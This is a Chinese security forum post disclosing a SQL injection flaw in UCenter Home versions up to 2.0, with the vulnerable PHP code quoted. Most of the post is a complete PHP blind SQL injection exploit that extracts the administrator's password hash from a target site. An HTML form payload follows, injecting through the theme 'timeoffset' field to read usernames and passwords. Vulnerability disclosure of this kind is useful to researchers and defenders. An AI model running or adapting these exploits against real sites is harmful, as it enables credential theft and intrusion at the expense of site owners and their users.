UCenter_Home横跨三个版本的鸡肋注入漏洞

2010-01-02 21:46:04 0 2654
这个注入从1.2版本就存在,08年末在大家广泛使用1.5版本的时候要搞个uchome的站,于是看了下源码找到这个点,写了个没用的exp藏一年多了一直丢硬盘没发,前几天看了下2.0版本看到依旧存在,还跟flyh4t说要不要公布呢。既然xhming公布了,我也说下吧。估计很多大牛也做为后备0day雪藏很久了吧。

首先说鸡肋,两个原因导致:
1是漏洞的存在必须开启全局变量,即register_globals为on;
2是基于ucenter本身产品的安全性,即使注入得到密码,又有几个能破的了的。

然后说漏洞,其实很容易就可以看到:
if($space['friendnum']) { //必须有好友,才能触发
        $groups = getfriendgroup();

        $theurl = 'cp.php?ac=friend&op=group';
        $group = !isset($_GET['group'])?'-1':intval($_GET['group']);
        if($group > -1) {//条件可以控制且无需控制
            $wheresql = "AND main.gid='$group'";//$wheresql 没有初始化
            $theurl .= "&group=$group";
        }

        $count = $_SGLOBAL['db']->result($_SGLOBAL['db']->query("SELECT COUNT(*) FROM ".tname('friend')." main
            WHERE main.uid='$space[uid]' AND main.status='1' $wheresql"), 0);
        $query = $_SGLOBAL['db']->query("SELECT main.fuid AS uid,main.fusername AS username, main.gid, main.num FROM ".tname('friend')." main
            WHERE main.uid='$space[uid]' AND main.status='1' $wheresql
            ORDER BY main.dateline DESC
            LIMIT $start,$perpage");
        while ($value = $_SGLOBAL['db']->fetch_array($query)) {
            realname_set($value['uid'], $value['username']);
            $value['group'] = $groups[$value['gid']];
            $list[] = $value;
        }
        $multi = multi($count, $perpage, $page, $theurl);
    }
类似于去年ECShop暴出的那个注射漏洞,而且利用条件也一样,需要works with register_globals = On。

无语的是,升级版本的时候程序员居然没有发现~

开启全局下利用:

1.注册号登录加好友,必须存在好友;

2.由于两个SQL都调用了,union select注不方便,可以直接盲注,丢个简单的exp:

傻傻问下:注入到密码有啥用:)
<?
print_r('
--------------------------------------------------------------------------------
UChome <=2.0 "wheresql" blind SQL injection/admin credentials disclosure exploit
BY oldjun
--------------------------------------------------------------------------------
');

if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to UChome
uid: uid to UChome
Example:
php '.$argv[0].' localhost / 1
--------------------------------------------------------------------------------
');
die;
}

function sendpacketii($packet)
{
global  $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$uid=$argv[3];
$prefix="cdb_uc_";
$cookie="cdb_sid=UR4dP4; uchome_loginuser=oldjun; uchome_sendmail=1; uchome_auth=2fea%2FFzIOg1fohrxPmoRl9pazueVlMxlY2D%2BT%2BmKUt9fAGyBWuXRk8iq9SbNCM9zQ9rfrnW%2FJ%2BBaq%2BkxpMkp; uchome_synfriend=1; uchome_checkpm=1";//need modify

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

/*need login*/
$packet ="GET ".$path."cp.php?ac=friend&op=group HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//echo $html;
if (eregi(chr(196).chr(250).chr(208).chr(232).chr(210).chr(170).chr(207).chr(200).chr(181).chr(199).chr(194).chr(188),$html))
{
die("Login first!");
}

echo "[~]exploting now,plz waiting\r\n";

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$packet ="GET ".$path."cp.php?ac=friend&op=group&wheresql=/**/and/**/1=(select/**/count(*)/**/from/**/".$prefix."members/**/where/**/ASCII(SUBSTRING(password,".$j.",1))=".$i."/**/and/**/uid=".$uid.") HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi(chr(195).chr(187).chr(211).chr(208).chr(207).chr(224).chr(185).chr(216).chr(211).chr(195).chr(187).chr(167),$html)) {$password.=chr($i);echo"[+]pwd:".$password."\r\n";break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

print_r('
--------------------------------------------------------------------------------
[+]pwd(md5 32位) -> '.$password.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
附:

xhming发的updatetable的函数很赞,可惜一般的字符串都被trim了~~~无语!

给个不太鸡肋的测试exp吧:
<form method="post" id="form" name="form" action="http://127.0.0.1/Uchome/cp.php?ac=theme">
<input type="text" name="timeoffset[]" value="0,newemail=(select concat(username,0x7C,password) from uchome_member where uid=1)#" size="130" />
<input type="hidden" name="timeoffsetsubmit" value="true" />
<input type="hidden" name="formhash" value="fc0bea6f" />
<button name="submit" type="submit" value="true">go</button>
</form>
另外一处:)

http://127.0.0.1/uchome/cp.php?ac=profile&op=contact这里可以读取到用户名密码!

关于作者

oldjun132篇文章575篇回复

评论0次

要评论?请先  登录  或  注册